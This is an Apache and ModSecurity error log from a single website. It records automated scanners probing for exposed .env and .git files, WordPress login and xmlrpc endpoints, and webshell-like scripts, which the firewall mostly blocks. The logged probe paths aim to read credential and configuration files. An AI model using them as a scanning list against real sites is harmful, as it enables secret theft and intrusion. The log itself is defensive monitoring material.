[Mon Apr 27 12:41:47.768835 2026] [:error] [pid 62511:tid 62598] [client 20.219.12.30:6505] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "ae7pC7BjE-jhU4FY4HhfowAAAVg"]
[Mon Apr 27 12:41:48.367668 2026] [:error] [pid 62509:tid 62527] [client 20.219.12.30:6465] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "ae7pDNwtbauadMz70GF4CQAAAIs"]
[Mon Apr 27 12:41:48.969058 2026] [:error] [pid 62607:tid 62610] [client 20.219.12.30:4184] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "ae7pDIXk80_zcPo33veLqQAAAEE"]
[Mon Apr 27 12:41:49.594635 2026] [:error] [pid 62510:tid 62545] [client 20.219.12.30:6497] [client 20.219.12.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "ae7pDYCpoM1jGOxUMpvp-AAAAME"]
[Mon Apr 27 13:29:00.732597 2026] [:error] [pid 62511:tid 62585] [client 24.230.201.194:54091] [client 24.230.201.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.230.201.194, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ae70HLBjE-jhU4FY4HhuSwAAAUs"]
[Mon Apr 27 13:29:00.744652 2026] [proxy_fcgi:error] [pid 62511:tid 62585] [client 24.230.201.194:54091] AH01071: Got error 'Primary script unknown'
[Mon Apr 27 13:51:51.874567 2026] [:error] [pid 62607:tid 62618] [client 34.55.86.97:56821] [client 34.55.86.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae75d4Xk80_zcPo33vevVgAAAEk"]
[Tue Apr 28 03:58:11.335555 2026] [proxy_fcgi:error] [pid 12018:tid 12042] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:11.576174 2026] [proxy_fcgi:error] [pid 12018:tid 12041] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:12.054284 2026] [proxy_fcgi:error] [pid 12018:tid 12052] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:12.294530 2026] [proxy_fcgi:error] [pid 12018:tid 12047] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:12.794689 2026] [proxy_fcgi:error] [pid 12018:tid 12043] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:13.034267 2026] [proxy_fcgi:error] [pid 12018:tid 12040] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:13.275798 2026] [proxy_fcgi:error] [pid 12018:tid 12039] [client 20.203.150.235:7812] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 03:58:14.016921 2026] [:error] [pid 12018:tid 12055] [client 20.203.150.235:7812] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae-_1n0iD5gK_pqRuGYXCQAAABI"]
[Tue Apr 28 03:58:14.970744 2026] [:error] [pid 12138:tid 12151] [client 20.203.150.235:7851] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae-_1nYp5i78J2QQtvJcyQAAAMs"]
[Tue Apr 28 03:58:16.031001 2026] [:error] [pid 12020:tid 12100] [client 20.203.150.235:7887] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae-_2IMTf7Aja5T7A1YT7QAAAIg"]
[Tue Apr 28 03:58:17.299663 2026] [:error] [pid 12020:tid 12092] [client 20.203.150.235:7874] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "ae-_2YMTf7Aja5T7A1YT8gAAAIA"]
[Tue Apr 28 04:52:40.907716 2026] [proxy_fcgi:error] [pid 14577:tid 14602] [client 52.236.68.31:1997] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 04:52:41.162195 2026] [proxy_fcgi:error] [pid 14577:tid 14601] [client 52.236.68.31:1997] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 04:52:41.416618 2026] [proxy_fcgi:error] [pid 14577:tid 14588] [client 52.236.68.31:1997] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 06:11:44.320760 2026] [:error] [pid 6746:tid 6761] [client 103.216.221.109:1208] [client 103.216.221.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.216.221.109, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ae_fILuStsbXtMDpzS-WvQAAAU0"]
[Tue Apr 28 06:11:44.333966 2026] [proxy_fcgi:error] [pid 6746:tid 6761] [client 103.216.221.109:1208] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 06:46:30.362783 2026] [:error] [pid 14686:tid 14697] [client 163.5.102.250:58872] [client 163.5.102.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.102.250, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ae_nRu-YPF1Xm7uiWQ41jwAAAMg"]
[Tue Apr 28 06:46:30.372247 2026] [proxy_fcgi:error] [pid 14686:tid 14697] [client 163.5.102.250:58872] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 06:46:35.229977 2026] [:error] [pid 14686:tid 14700] [client 163.5.102.250:58872] [client 163.5.102.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ae_nS--YPF1Xm7uiWQ41oAAAAMs"]
[Tue Apr 28 06:46:35.769752 2026] [:error] [pid 14686:tid 14706] [client 163.5.102.250:60321] [client 163.5.102.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ae_nS--YPF1Xm7uiWQ41oQAAANE"]
[Tue Apr 28 06:46:36.310839 2026] [:error] [pid 14578:tid 14629] [client 163.5.102.250:60447] [client 163.5.102.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ae_nTOngo3AwIJgfSHEX1QAAAFA"]
[Tue Apr 28 06:46:36.859080 2026] [:error] [pid 14578:tid 14621] [client 163.5.102.250:60533] [client 163.5.102.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ae_nTOngo3AwIJgfSHEX1wAAAEg"]
[Tue Apr 28 06:46:37.381079 2026] [:error] [pid 14578:tid 14620] [client 163.5.102.250:60627] [client 163.5.102.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ae_nTengo3AwIJgfSHEX3QAAAEc"]
[Tue Apr 28 06:46:37.913036 2026] [:error] [pid 14578:tid 14619] [client 163.5.102.250:60702] [client 163.5.102.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ae_nTengo3AwIJgfSHEX3gAAAEY"]
[Tue Apr 28 12:07:03.732455 2026] [autoindex:error] [pid 33777:tid 33856] [client 20.203.150.235:13102] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 12:07:03.978464 2026] [proxy_fcgi:error] [pid 33777:tid 33842] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:04.221601 2026] [proxy_fcgi:error] [pid 33777:tid 33858] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:04.462042 2026] [autoindex:error] [pid 33777:tid 33854] [client 20.203.150.235:13102] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 12:07:04.701824 2026] [proxy_fcgi:error] [pid 33777:tid 33855] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:04.942502 2026] [proxy_fcgi:error] [pid 33777:tid 33851] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:05.423472 2026] [proxy_fcgi:error] [pid 33777:tid 33859] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:05.680996 2026] [proxy_fcgi:error] [pid 33777:tid 33845] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:05.922505 2026] [proxy_fcgi:error] [pid 33777:tid 33846] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:06.192657 2026] [proxy_fcgi:error] [pid 33777:tid 33836] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:06.432742 2026] [proxy_fcgi:error] [pid 33777:tid 33835] [client 20.203.150.235:13102] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 12:07:06.701631 2026] [:error] [pid 33777:tid 33848] [client 20.203.150.235:13102] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "afAyarXUCFWqmordGGITSQAAAQ0"]
[Tue Apr 28 12:07:07.696413 2026] [:error] [pid 33776:tid 33822] [client 20.203.150.235:10537] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "afAya1-bEJ2CKP3iKADqJwAAAE4"]
[Tue Apr 28 12:07:08.681763 2026] [:error] [pid 33777:tid 33857] [client 20.203.150.235:17806] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "afAybLXUCFWqmordGGITTAAAARY"]
[Tue Apr 28 12:07:09.661883 2026] [:error] [pid 33777:tid 33856] [client 20.203.150.235:17848] [client 20.203.150.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "afAybbXUCFWqmordGGITTwAAARU"]
[Tue Apr 28 20:29:20.047097 2026] [:error] [pid 33864:tid 33868] [client 93.123.109.79:59341] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afCoIDXchLGZ4QggCskhFwAAAII"]
[Tue Apr 28 20:29:21.010753 2026] [:error] [pid 2741:tid 2760] [client 93.123.109.79:59341] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "afCoIfp92FeOz1h6ILzzcQAAAU4"]
[Tue Apr 28 20:29:45.716137 2026] [:error] [pid 2741:tid 2765] [client 176.65.132.73:54905] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.65.132.73, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afCoOfp92FeOz1h6ILzzjAAAAVM"]
[Tue Apr 28 20:29:45.726900 2026] [proxy_fcgi:error] [pid 2741:tid 2765] [client 176.65.132.73:54905] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 20:29:46.730557 2026] [:error] [pid 50889:tid 50911] [client 176.65.132.73:54913] [client 176.65.132.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.73, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "afCoOozszBr00txEzGhIgQAAABM"]
[Tue Apr 28 20:29:46.734815 2026] [proxy_fcgi:error] [pid 50889:tid 50911] [client 176.65.132.73:54913] AH01071: Got error 'Primary script unknown'
[Tue Apr 28 23:44:21.877787 2026] [:error] [pid 33864:tid 33875] [client 104.28.164.32:17582] [client 104.28.164.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.164.32, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "afDV1TXchLGZ4QggCslCwgAAAIk"]
[Tue Apr 28 23:44:21.889423 2026] [proxy_fcgi:error] [pid 33864:tid 33875] [client 104.28.164.32:17582] AH01071: Got error 'Primary script unknown'
[Wed Apr 29 05:42:12.311260 2026] [:error] [pid 40344:tid 40379] [client 84.233.199.147:61028] [client 84.233.199.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afEptJ_iiwb4cHXz-JrvvAAAAcQ"]
[Wed Apr 29 06:03:52.690626 2026] [proxy_fcgi:error] [pid 56863:tid 56874] [client 145.239.10.137:37258] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/your.php
[Wed Apr 29 06:42:59.456624 2026] [:error] [pid 40344:tid 40394] [client 130.211.97.238:38844] [client 130.211.97.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "afE385_iiwb4cHXz-Jr-DwAAAdM"]
[Wed Apr 29 06:42:59.483066 2026] [:error] [pid 40313:tid 40336] [client 130.211.97.238:38832] [client 130.211.97.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "afE386px5sKFuV9bHzpX0wAAAVU"]
[Wed Apr 29 06:42:59.620654 2026] [:error] [pid 40344:tid 40376] [client 130.211.97.238:38822] [client 130.211.97.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afE385_iiwb4cHXz-Jr-EQAAAcE"]
[Wed Apr 29 06:42:59.620888 2026] [:error] [pid 40313:tid 40321] [client 130.211.97.238:38852] [client 130.211.97.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "afE386px5sKFuV9bHzpX1AAAAUY"]
[Wed Apr 29 06:42:59.623354 2026] [:error] [pid 40344:tid 40392] [client 130.211.97.238:38836] [client 130.211.97.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "afE385_iiwb4cHXz-Jr-EgAAAdE"]
[Wed Apr 29 09:47:50.983891 2026] [:error] [pid 31749:tid 31775] [client 34.229.213.169:41850] [client 34.229.213.169] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afFjRvX0dDu1guIpvOvecAAAAFg"]
[Wed Apr 29 10:45:40.001053 2026] [proxy_fcgi:error] [pid 61539:tid 61563] [client 145.239.10.137:48263] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/qwer.php
[Wed Apr 29 15:38:47.644635 2026] [:error] [pid 61540:tid 61592] [client 45.119.85.39:50347] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG1h-Q8cJB7pQslzIfWLwAAAJM"], referer: https://www.google.com
[Wed Apr 29 15:38:47.644701 2026] [:error] [pid 61540:tid 61592] [client 45.119.85.39:50347] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 153"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG1h-Q8cJB7pQslzIfWLwAAAJM"], referer: https://www.google.com
[Thu Apr 30 00:50:44.860535 2026] [:error] [pid 21137:tid 21174] [client 134.209.158.250:47230] [client 134.209.158.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.158.250, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "afI25Pw-HnaioFPIurWKMwAAAAU"], referer: https://www.google.com/
[Thu Apr 30 00:50:44.870964 2026] [proxy_fcgi:error] [pid 21137:tid 21174] [client 134.209.158.250:47230] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Thu Apr 30 00:50:45.143309 2026] [:error] [pid 21137:tid 21184] [client 134.209.158.250:52534] [client 134.209.158.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.158.250, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "afI25fw-HnaioFPIurWKNAAAAA8"], referer: https://wordpress.org/
[Thu Apr 30 00:50:45.148279 2026] [proxy_fcgi:error] [pid 21137:tid 21184] [client 134.209.158.250:52534] AH01071: Got error 'Primary script unknown', referer: https://wordpress.org/
[Thu Apr 30 08:08:53.582155 2026] [:error] [pid 18112:tid 18158] [client 15.152.74.102:40220] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afKdlSUrJv3y8j6Lm1u41QAAAEg"]
[Thu Apr 30 08:08:54.322587 2026] [:error] [pid 18220:tid 18226] [client 15.152.74.102:40230] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afKdlsyESVSfAPebmxb_ZAAAAMM"]
[Thu Apr 30 08:08:54.910749 2026] [:error] [pid 18112:tid 18153] [client 15.152.74.102:40234] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "afKdliUrJv3y8j6Lm1u41wAAAEM"]
[Thu Apr 30 08:08:55.493600 2026] [:error] [pid 52350:tid 52382] [client 15.152.74.102:40238] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "afKdl_1j4GHE9hm7bfdZKAAAARg"]
[Thu Apr 30 08:08:56.076948 2026] [:error] [pid 52350:tid 52377] [client 15.152.74.102:39934] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "afKdmP1j4GHE9hm7bfdZKQAAARM"]
[Thu Apr 30 08:08:56.661044 2026] [:error] [pid 52436:tid 52462] [client 15.152.74.102:39940] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "afKdmALFWPk_P7AfE8f9_AAAAVc"]
[Thu Apr 30 08:08:57.251028 2026] [:error] [pid 52350:tid 52358] [client 15.152.74.102:39946] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "afKdmf1j4GHE9hm7bfdZKgAAAQE"]
[Thu Apr 30 08:08:57.833952 2026] [:error] [pid 18113:tid 18183] [client 15.152.74.102:39958] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "afKdmXiIjwsVGkvz5IlioAAAAIY"]
